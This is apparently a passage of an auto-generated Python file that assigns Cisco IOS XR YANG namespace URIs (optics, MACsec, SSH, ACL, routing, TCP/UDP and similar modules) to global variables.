_global_Cisco_IOS_XR_controller_optics_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-oper'
_global_Cisco_IOS_XR_controller_optics_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-oper'
_global_Cisco_IOS_XR_controller_otu_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-cfg'
_global_Cisco_IOS_XR_controller_otu_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-oper'
_global_Cisco_IOS_XR_controller_otu_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-oper'
_global_Cisco_IOS_XR_crypto_macsec_mka_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-cfg'
_global_Cisco_IOS_XR_crypto_macsec_mka_if_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-if-cfg'
_global_Cisco_IOS_XR_crypto_macsec_mka_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-oper'
_global_Cisco_IOS_XR_crypto_macsec_mka_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-oper'
_global_Cisco_IOS_XR_crypto_macsec_pl_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-pl-oper'
_global_Cisco_IOS_XR_crypto_macsec_pl_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-pl-oper'
_global_Cisco_IOS_XR_crypto_macsec_secy_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-secy-oper'
_global_Cisco_IOS_XR_crypto_macsec_secy_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-secy-oper'
_global_Cisco_IOS_XR_crypto_sam_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-cfg'
_global_Cisco_IOS_XR_crypto_sam_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-oper'
_global_Cisco_IOS_XR_crypto_sam_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-oper'
_global_Cisco_IOS_XR_crypto_ssh_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-cfg'
_global_Cisco_IOS_XR_crypto_ssh_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper'
_global_Cisco_IOS_XR_crypto_ssh_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper'
_global_Cisco_IOS_XR_dnx_driver_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-driver-oper'
_global_Cisco_IOS_XR_dnx_driver_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-driver-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_netflow_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper'
_global_Cisco_IOS_XR_dnx_port_mapper_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-port-mapper-oper'
_global_Cisco_IOS_XR_dnx_port_mapper_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-port-mapper-oper'
_global_Cisco_IOS_XR_drivers_media_eth_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-cfg'
_global_Cisco_IOS_XR_drivers_media_eth_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-oper'
_global_Cisco_IOS_XR_drivers_media_eth_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-oper'
_global_Cisco_IOS_XR_dwdm_ui_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-cfg'
_global_Cisco_IOS_XR_dwdm_ui_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper'
_global_Cisco_IOS_XR_dwdm_ui_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper'
_global_Cisco_IOS_XR_es_ace_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-cfg'
_global_Cisco_IOS_XR_es_acl_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-cfg'
_global_Cisco_IOS_XR_es_acl_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-datatypes'
_global_Cisco_IOS_XR_es_acl_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-oper'
_global_Cisco_IOS_XR_es_acl_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-oper'
_global_Cisco_IOS_XR_ethernet_cfm_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-cfg'
_global_Cisco_IOS_XR_ethernet_cfm_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-datatypes'
_global_Cisco_IOS_XR_ethernet_cfm_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper'
_global_Cisco_IOS_XR_ethernet_cfm_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper'
_global_Cisco_IOS_XR_ethernet_cfm_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper'
_global_Cisco_IOS_XR_ethernet_cfm_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper'
_global_Cisco_IOS_XR_ethernet_cfm_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper'
_global_Cisco_IOS_XR_ethernet_cfm_sat_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-sat-cfg'
_global_Cisco_IOS_XR_ethernet_link_oam_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-cfg'
_global_Cisco_IOS_XR_ethernet_link_oam_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-oper'
_global_Cisco_IOS_XR_ethernet_link_oam_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-oper'
_global_Cisco_IOS_XR_ethernet_lldp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-cfg'
_global_Cisco_IOS_XR_ethernet_lldp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper'
_global_Cisco_IOS_XR_ethernet_lldp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper'
_global_Cisco_IOS_XR_ethernet_lldp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper'
_global_Cisco_IOS_XR_fia_hw_profile_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-hw-profile-cfg'
_global_Cisco_IOS_XR_fia_internal_tcam_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-internal-tcam-oper'
_global_Cisco_IOS_XR_fia_internal_tcam_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fia-internal-tcam-oper'
_global_Cisco_IOS_XR_fib_common_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-cfg'
_global_Cisco_IOS_XR_fib_common_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper'
_global_Cisco_IOS_XR_fib_common_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper'
_global_Cisco_IOS_XR_fib_common_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper'
_global_Cisco_IOS_XR_fib_common_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper'
_global_Cisco_IOS_XR_fib_common_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper'
_global_Cisco_IOS_XR_flashmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-flashmib-cfg'
_global_Cisco_IOS_XR_fretta_bcm_dpa_drop_stats_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_drop_stats_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_hw_resources_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_hw_resources_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_hw_resources_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_npu_stats_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_npu_stats_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_resources_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_resources_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper'
_global_Cisco_IOS_XR_fretta_bcm_dpa_resources_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper'
_global_Cisco_IOS_XR_group_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-group-cfg'
_global_Cisco_IOS_XR_ha_eem_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-cfg'
_global_Cisco_IOS_XR_ha_eem_policy_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-policy-oper'
_global_Cisco_IOS_XR_ha_eem_policy_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-policy-oper'
_global_Cisco_IOS_XR_icpe_infra_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-cfg'
_global_Cisco_IOS_XR_icpe_infra_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub6_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub7_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_icpe_infra_oper_sub8_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper'
_global_Cisco_IOS_XR_iedge4710_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-cfg'
_global_Cisco_IOS_XR_iedge4710_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper'
_global_Cisco_IOS_XR_iedge4710_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper'
_global_Cisco_IOS_XR_iedge4710_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper'
_global_Cisco_IOS_XR_iedge4710_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper'
_global_Cisco_IOS_XR_ifmgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-cfg'
_global_Cisco_IOS_XR_ifmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper'
_global_Cisco_IOS_XR_ifmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper'
_global_Cisco_IOS_XR_ifmgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper'
_global_Cisco_IOS_XR_infra_alarm_logger_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-cfg'
_global_Cisco_IOS_XR_infra_alarm_logger_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-datatypes'
_global_Cisco_IOS_XR_infra_alarm_logger_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-oper'
_global_Cisco_IOS_XR_infra_alarm_logger_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-oper'
_global_Cisco_IOS_XR_infra_ceredundancymib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-ceredundancymib-cfg'
_global_Cisco_IOS_XR_infra_confcopymib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-confcopymib-cfg'
_global_Cisco_IOS_XR_infra_correlator_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-cfg'
_global_Cisco_IOS_XR_infra_correlator_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper'
_global_Cisco_IOS_XR_infra_correlator_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper'
_global_Cisco_IOS_XR_infra_dumper_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-dumper-cfg'
_global_Cisco_IOS_XR_infra_infra_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-cfg'
_global_Cisco_IOS_XR_infra_infra_clock_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-cfg'
_global_Cisco_IOS_XR_infra_infra_clock_linux_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-linux-cfg'
_global_Cisco_IOS_XR_infra_infra_locale_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-locale-cfg'
_global_Cisco_IOS_XR_infra_ltrace_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-ltrace-cfg'
_global_Cisco_IOS_XR_infra_objmgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-cfg'
_global_Cisco_IOS_XR_infra_objmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-oper'
_global_Cisco_IOS_XR_infra_objmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-oper'
_global_Cisco_IOS_XR_infra_policymgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-cfg'
_global_Cisco_IOS_XR_infra_policymgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper'
_global_Cisco_IOS_XR_infra_policymgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper'
_global_Cisco_IOS_XR_infra_policymgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper'
_global_Cisco_IOS_XR_infra_rcmd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-cfg'
_global_Cisco_IOS_XR_infra_rcmd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-oper'
_global_Cisco_IOS_XR_infra_rcmd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-oper'
_global_Cisco_IOS_XR_infra_rmf_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rmf-oper'
_global_Cisco_IOS_XR_infra_rmf_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rmf-oper'
_global_Cisco_IOS_XR_infra_rsi_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg'
_global_Cisco_IOS_XR_infra_rsi_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper'
_global_Cisco_IOS_XR_infra_rsi_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper'
_global_Cisco_IOS_XR_infra_rsi_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper'
_global_Cisco_IOS_XR_infra_rsi_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-subscriber-cfg'
_global_Cisco_IOS_XR_infra_sla_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-cfg'
_global_Cisco_IOS_XR_infra_sla_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-datatypes'
_global_Cisco_IOS_XR_infra_sla_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-oper'
_global_Cisco_IOS_XR_infra_statsd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-cfg'
_global_Cisco_IOS_XR_infra_statsd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-oper'
_global_Cisco_IOS_XR_infra_statsd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-oper'
_global_Cisco_IOS_XR_infra_syslog_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-cfg'
_global_Cisco_IOS_XR_infra_syslog_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper'
_global_Cisco_IOS_XR_infra_syslog_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper'
_global_Cisco_IOS_XR_infra_systemmib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-systemmib-cfg'
_global_Cisco_IOS_XR_infra_tc_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-cfg'
_global_Cisco_IOS_XR_infra_tc_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-oper'
_global_Cisco_IOS_XR_infra_tc_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-oper'
_global_Cisco_IOS_XR_installmgr_admin_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper'
_global_Cisco_IOS_XR_installmgr_admin_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper'
_global_Cisco_IOS_XR_installmgr_admin_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper'
_global_Cisco_IOS_XR_installmgr_admin_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper'
_global_Cisco_IOS_XR_invmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper'
_global_Cisco_IOS_XR_invmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper'
_global_Cisco_IOS_XR_invmgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper'
_global_Cisco_IOS_XR_invmgr_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper'
_global_Cisco_IOS_XR_invmgr_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper'
_global_Cisco_IOS_XR_ip_bfd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-cfg'
_global_Cisco_IOS_XR_ip_bfd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-oper'
_global_Cisco_IOS_XR_ip_bfd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-oper'
_global_Cisco_IOS_XR_ip_domain_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-cfg'
_global_Cisco_IOS_XR_ip_domain_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-oper'
_global_Cisco_IOS_XR_ip_domain_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-oper'
_global_Cisco_IOS_XR_ip_iarm_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-datatypes'
_global_Cisco_IOS_XR_ip_iarm_v4_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v4-oper'
_global_Cisco_IOS_XR_ip_iarm_v4_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v4-oper'
_global_Cisco_IOS_XR_ip_iarm_v6_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v6-oper'
_global_Cisco_IOS_XR_ip_iarm_v6_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v6-oper'
_global_Cisco_IOS_XR_ip_iarm_vrf_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-vrf-cfg'
_global_Cisco_IOS_XR_ip_icmp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-icmp-cfg'
_global_Cisco_IOS_XR_ip_iep_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-cfg'
_global_Cisco_IOS_XR_ip_iep_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-oper'
_global_Cisco_IOS_XR_ip_iep_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-oper'
_global_Cisco_IOS_XR_ip_mobileip_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-mobileip-cfg'
_global_Cisco_IOS_XR_ip_ntp_admin_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-admin-oper'
_global_Cisco_IOS_XR_ip_ntp_admin_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-admin-oper'
_global_Cisco_IOS_XR_ip_ntp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-cfg'
_global_Cisco_IOS_XR_ip_ntp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-oper'
_global_Cisco_IOS_XR_ip_ntp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-oper'
_global_Cisco_IOS_XR_ip_pfilter_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-cfg'
_global_Cisco_IOS_XR_ip_pfilter_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-oper'
_global_Cisco_IOS_XR_ip_pfilter_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-oper'
_global_Cisco_IOS_XR_ip_pfilter_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-subscriber-cfg'
_global_Cisco_IOS_XR_ip_rib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-cfg'
_global_Cisco_IOS_XR_ip_rib_ipv4_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper'
_global_Cisco_IOS_XR_ip_rib_ipv4_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper'
_global_Cisco_IOS_XR_ip_rib_ipv6_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper'
_global_Cisco_IOS_XR_ip_rib_ipv6_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper'
_global_Cisco_IOS_XR_ip_rsvp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-cfg'
_global_Cisco_IOS_XR_ip_rsvp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper'
_global_Cisco_IOS_XR_ip_rsvp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper'
_global_Cisco_IOS_XR_ip_rsvp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper'
_global_Cisco_IOS_XR_ip_sbfd_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-cfg'
_global_Cisco_IOS_XR_ip_sbfd_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-oper'
_global_Cisco_IOS_XR_ip_sbfd_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-oper'
_global_Cisco_IOS_XR_ip_static_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-static-cfg'
_global_Cisco_IOS_XR_ip_tcp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-cfg'
_global_Cisco_IOS_XR_ip_tcp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_tcp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_tcp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_tcp_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_tcp_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_tcp_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper'
_global_Cisco_IOS_XR_ip_udp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-cfg'
_global_Cisco_IOS_XR_ip_udp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper'
_global_Cisco_IOS_XR_ip_udp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper'
_global_Cisco_IOS_XR_ip_udp_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper'
_global_Cisco_IOS_XR_ip_udp_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper'
_global_Cisco_IOS_XR_ip_udp_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper'
_global_Cisco_IOS_XR_ipv4_ace_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-cfg'
_global_Cisco_IOS_XR_ipv4_acl_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-cfg'
